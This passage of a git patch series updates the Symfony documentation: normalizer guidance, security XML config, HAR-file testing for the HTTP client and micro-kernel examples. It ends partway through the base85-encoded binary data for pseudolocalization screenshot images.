diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 185d301a657..8a8d8795bb2 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -124,7 +124,7 @@ events directly from the kernel, again it will be registered automatically::
 
         public function onKernelException(ExceptionEvent $event): void
         {
-            if ($event->getException() instanceof Danger) {
+            if ($event->getThrowable() instanceof Danger) {
                 $event->setResponse(new Response('It\'s dangerous to go alone. Take this ⚔'));
             }
         }

From d40a7ceda7b82b4a6e0e137bacbce04c45661d49 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 24 Jul 2023 11:47:50 +0200
Subject: [PATCH 3553/5766] [Config] Improve adding support for XML format

---
 configuration.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 84d4340d6b4..de422446e61 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -75,7 +75,11 @@ readable. These are the main advantages and disadvantages of each format:
 
     By default Symfony loads the configuration files defined in YAML and PHP
     formats. If you define configuration in XML format, update the
-    ``src/Kernel.php`` file to add support for the ``.xml`` file extension.
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Kernel\\MicroKernelTrait::configureContainer`
+    and/or
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Kernel\\MicroKernelTrait::configureRoutes`
+    methods in the ``src/Kernel.php`` file to add support for the ``.xml`` file
+    extension.
 
     .. versionadded:: 6.1
 
@@ -855,7 +859,7 @@ In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
     # config/services.yaml
     services:
         Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
-        
+
 Then, run the command:
 
 .. code-block:: terminal

From 0fd8f8fa532a3bafed52504670f4ad339b34a712 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 24 Jul 2023 14:21:18 +0200
Subject: [PATCH 3554/5766] [Serializer] Custom normalizer update

---
 serializer/custom_normalizer.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 25528fff54e..58e6ef2d075 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -12,7 +12,10 @@ Creating a New Normalizer
 Imagine you want add, modify, or remove some properties during the serialization
 process. For that you'll have to create your own normalizer. But it's usually
 preferable to let Symfony normalize the object, then hook into the normalization
-to customize the normalized data. To do that, leverage the ``ObjectNormalizer``::
+to customize the normalized data. To do that, leverage the
+``NormalizerAwareInterface`` and the ``NormalizerAwareTrait``. This will give
+you access to a ``$normalizer`` property which takes care of most of the
+normalization process::
 
     // src/Serializer/TopicNormalizer.php
     namespace App\Serializer;
@@ -20,13 +23,13 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
     use App\Entity\Topic;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-    class TopicNormalizer implements NormalizerInterface
+    class TopicNormalizer implements NormalizerInterface, NormalizerAwareInterface
     {
+        use NormalizerAwareTrait;
+
         public function __construct(
             private UrlGeneratorInterface $router,
-            private ObjectNormalizer $normalizer,
         ) {
         }
 

From 8b2d944763a8664eef04fc7bb924b25c590ac765 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 24 Jul 2023 14:25:41 +0200
Subject: [PATCH 3555/5766] [Serializer] Custom normalizer deprecation

---
 serializer/custom_normalizer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 5b70acecdb5..7a2d48660ea 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -48,6 +48,15 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         }
     }
 
+.. deprecated:: 6.4
+
+    Injecting an ``ObjectNormalizer`` in your custom normalizer is deprecated
+    since Symfony 6.4. Implement the
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareInterface`
+    and use the the
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareTrait` instead
+    to inject the ``$normalizer`` property.
+
 Registering it in your Application
 ----------------------------------
 

From 4927b6e38bf0cf6aefc1ddf50e5a15b92e583cd2 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 24 Jul 2023 15:45:26 +0200
Subject: [PATCH 3556/5766] [Security] Remove deprecated XML config

---
 security/custom_authenticator.rst | 2 +-
 security/entry_point.rst          | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index d9debbb1fb0..f2d7fb57c14 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -105,7 +105,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config enable-authenticator-manager="true">
+            <config>
                 <!-- ... -->
 
                 <firewall name="main">
diff --git a/security/entry_point.rst b/security/entry_point.rst
index e99a4039fcb..b23f45db957 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -42,7 +42,7 @@ You can configure this using the ``entry_point`` setting:
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config enable-authenticator-manager="true">
+            <config>
                 <!-- ... -->
 
                 <!-- entry-point: configure the form authentication as the entry

From f4da7ee9a255d99d05dbb54db9be6d20de743bac Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 24 Jul 2023 15:59:11 +0200
Subject: [PATCH 3557/5766] Fix a typo making CI red

---
 serializer/custom_normalizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 7a2d48660ea..31fd0b7680b 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -53,7 +53,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
     Injecting an ``ObjectNormalizer`` in your custom normalizer is deprecated
     since Symfony 6.4. Implement the
     :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareInterface`
-    and use the the
+    and use the
     :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareTrait` instead
     to inject the ``$normalizer`` property.
 

From 948966d788aeac087f387fe972d6fa8c63e4a162 Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Mon, 10 Jul 2023 09:30:03 +0200
Subject: [PATCH 3558/5766] [HTTPClient] Add documentation for
 `HarFileResponseFactory`

Fixes https://github.com/symfony/symfony-docs/issues/18546
---
 http_client.rst | 40 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 3dd9e867bc1..c11bde2d15c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2196,6 +2196,45 @@ test it in a real application::
         }
     }
 
+Testing using HAR files
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The previous example can also be achieved using `HAR`_ files. You can export those files from all modern browsers (from the network tab) &
+HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HTTP Client / Browser, then store generated ``.har`` file somewhere in your application::
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        public function testSubmitData(): void
+        {
+            // Arrange
+            $fixtureDir = sprintf('%s/tests/fixtures/HTTP', static::getContainer()->getParameter('kernel.project_dir'));
+            $factory = new HarFileResponseFactory("$fixtureDir/example.com_archive.har");
+            $httpClient = new MockHttpClient($factory, 'https://example.com');
+            $service = new ExternalArticleService($httpClient);
+
+            // Act
+            $responseData = $service->createArticle($requestData);
+
+            // Assert
+            self::assertSame($responseData, 'the expected response');
+        }
+    }
+
+
+If your service does multiple requests or if your `.har` file contains multiple request / response pairs,
+the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will find the associated response based on
+the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
+(if it contains current date or random UUID(s) for example).
+
+.. versionadded:: 7.0
+
+    The ``HarFileResponseFactory`` was introduced in Symfony 7.0.
+
 Testing Network Transport Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2262,3 +2301,4 @@ you to do so, by yielding the exception from its body::
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
 .. _`RFC 6570`: https://www.rfc-editor.org/rfc/rfc6570
+.. _`HAR`: https://w3c.github.io/web-performance/specs/HAR/Overview.html

From 8385108418b839a7d4420b90e3c4f499e5de1970 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 24 Jul 2023 16:40:56 +0200
Subject: [PATCH 3559/5766] [HttpClient] fix version added for HAR files
 feature

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index c11bde2d15c..41cc4b90fc8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2231,9 +2231,9 @@ the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will f
 the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
 (if it contains current date or random UUID(s) for example).
 
-.. versionadded:: 7.0
+.. versionadded:: 6.4
 
-    The ``HarFileResponseFactory`` was introduced in Symfony 7.0.
+    The ``HarFileResponseFactory`` was introduced in Symfony 6.4.
 
 Testing Network Transport Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From e0808526821c4d04f1dcb4152da74bf0bb62028f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jul 2023 17:20:25 +0200
Subject: [PATCH 3560/5766] Minor reword

---
 http_client.rst | 20 ++++++++++++--------
 1 file changed, 12 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 41cc4b90fc8..9cbf63f9876 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2196,11 +2196,15 @@ test it in a real application::
         }
     }
 
-Testing using HAR files
+Testing Using HAR Files
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-The previous example can also be achieved using `HAR`_ files. You can export those files from all modern browsers (from the network tab) &
-HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HTTP Client / Browser, then store generated ``.har`` file somewhere in your application::
+Modern browsers (via their network tab) and HTTP clients allow to export the
+information of one or more HTTP requests using the `HAR`_ (HTTP Archive) format.
+You can use those ``.har`` files to perform tests with Symfony's HTTP Client.
+
+First, use a browser or HTTP client to perform the HTTP request(s) you want to
+test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
     use PHPUnit\Framework\TestCase;
@@ -2225,11 +2229,11 @@ HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HT
         }
     }
 
-
-If your service does multiple requests or if your `.har` file contains multiple request / response pairs,
-the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will find the associated response based on
-the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
-(if it contains current date or random UUID(s) for example).
+If your service performs multiple requests or if your ``.har`` file contains multiple
+request/response pairs, the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory`
+will find the associated response based on the request method, URL and body (if any).
+Note that **this won't work** if the request body or URI is random / always
+changing (e.g. if it contains current date or random UUIDs).
 
 .. versionadded:: 6.4
 

From 9168b9da6279bb0ab166cc14f654d67185664670 Mon Sep 17 00:00:00 2001
From: iraouf <issam.raouf.dev@gmail.com>
Date: Mon, 24 Jul 2023 22:03:10 +0100
Subject: [PATCH 3561/5766] [micro_kernel] Fix deleted method
 AnnotationRegistry::registerLoader

[Dropping AnnotationRegistry completely, relying on native autoloading instead](https://github.com/doctrine/annotations/pull/205)
---
 configuration/micro_kernel_trait.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 8a8d8795bb2..5940b918183 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -328,12 +328,9 @@ Finally, you need a front controller to boot and run the application. Create a
 
     // public/index.php
     use App\Kernel;
-    use Doctrine\Common\Annotations\AnnotationRegistry;
     use Symfony\Component\HttpFoundation\Request;
 
-    $loader = require __DIR__.'/../vendor/autoload.php';
-    // auto-load annotations
-    AnnotationRegistry::registerLoader([$loader, 'loadClass']);
+    require __DIR__.'/../vendor/autoload.php';
 
     $kernel = new Kernel('dev', true);
     $request = Request::createFromGlobals();

From 1ee41e8b868f344edd9992043596e0ca2fdbac82 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 24 Jul 2023 09:58:48 +0200
Subject: [PATCH 3562/5766] [Translation] Add docs for pseudolocalization
 translator

---
 .../pseudolocalization-interface-original.png | Bin 0 -> 5051 bytes
 ...seudolocalization-interface-translated.png | Bin 0 -> 5739 bytes
 ...eudolocalization-symfony-demo-disabled.png | Bin 0 -> 66509 bytes
 ...seudolocalization-symfony-demo-enabled.png | Bin 0 -> 80487 bytes
 translation.rst                               | 134 +++++++++++++++++-
 5 files changed, 133 insertions(+), 1 deletion(-)
 create mode 100644 _images/translation/pseudolocalization-interface-original.png
 create mode 100644 _images/translation/pseudolocalization-interface-translated.png
 create mode 100644 _images/translation/pseudolocalization-symfony-demo-disabled.png
 create mode 100644 _images/translation/pseudolocalization-symfony-demo-enabled.png

diff --git a/_images/translation/pseudolocalization-interface-original.png b/_images/translation/pseudolocalization-interface-original.png
new file mode 100644
index 0000000000000000000000000000000000000000..d89f4e63a241a47a58581e109063c451c8ad15c7
GIT binary patch
literal 5051
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

literal 0
HcmV?d00001

diff --git a/_images/translation/pseudolocalization-interface-translated.png b/_images/translation/pseudolocalization-interface-translated.png
new file mode 100644
index 0000000000000000000000000000000000000000..496d5a0f86f10cf308d2889fa67d46167e4d7c58
GIT binary patch
literal 5739
zcmb7|bx_pbzs7+j1O!AtIs{Y@m3CQJX{15AyZlNiDY>Y0HwXwyNiQMNEF~RM(yT~G
z=MtNr%XfZv?%aRwA9tQJC;mBe<~7ebXWmcD3msJ&DmE%2A|e`fHD!GwA`oyr_q%c3
z5w*z%QxFl|5mQ%IFnmkAKcf@|GGkF$V{ma>`tJTet<BxS|J0;pdKMmOhVaZtKiq|)
zbe-R~F*e><7HR--R5Qm&8w~fjiY0aJr`ANSGh!~XGam3I>knnrHjv=euhfKYr?5`7
z)aEGuy_JLBcHVhAZ~7%*&BI^nDfnLd-H9`f?Sd*27eUmPnTr+u4oq_opf60M5ewGc
z(rW^gZp(*8@F9J%NTqivkJ`&sqIc^EO-7Rq7CNf7b@w@`ED}Dcfm?bH^Nx^b!`m?b
z>&@M5mHrWJHg{&-1E{kx_|(|9k#oJ>VqX<cYbVG{l2!;N2A^-2&D?q2gT2@L3rJ)$
zz)x*fk}&T*G*$c(^IO}0{?i#g$eI;jKoK+HxceaLtoS@mVQ#Am$S1||h#TtZO)?w-
z^z-J<&QfMurcFR_#3)TN_vA_K2a+)+CSSHa*mhUQWr&uu9Cjlv8Lhsh@_CZgZ)<oL
zc@_*Lq;-#aYF3yFK`Cj&)q!Mk|1QkjX>A~aiZ(1bq#f|LO$B30q<`}=L34euF1=6G
zkrPCF>Jv(*kOg39ZBPv`Co6SJjeYRq%(2$FvRLj;nA65h8E>caqkvAB6{*NT<cJm#
zhlc{O!C}BW?;}<epm%$#bECZSX>UdRB~qHcOPQN)%k~#GH1r>!Z&+LkuRF4=YE?fM
zo{ZC)DotKIt5HqLXFWBVB)~yii$@o6-$}UAYlxj?k8#f)M4?>j>|AQ92+t-ikqDWh
z%sr#-9MbQhPquAb?h7t9>z)vNS++n2IxiOzjq(Wo(1@Qy53fQzV($m5PZAobi~N!$
z+R0Qtjxe!b6WRWk$X0m(1CjWO*rVwV8!G4dqO;0cSV*(m>!5KV@;|KRU%@p}-l=pm
zjX}faE2Ty<ZTP(z^gc*e@Mq9)AJNVM;^!5C!XuAPeBCKTjBbK9+49`=N7Sd5ddwvh
ziP*thtzEJiPGJ{J);(btgF<pNd&rqi!tdNMFH^wp=-^I9ykR?Pd!X8DA;F(35dBpl
z;Z?v<%0v)hF7NMET8Q)mqFd3#M5Ps{x5CS)$|yQhQWCJY>AC^uRUqtIT_nI|^Z_|J
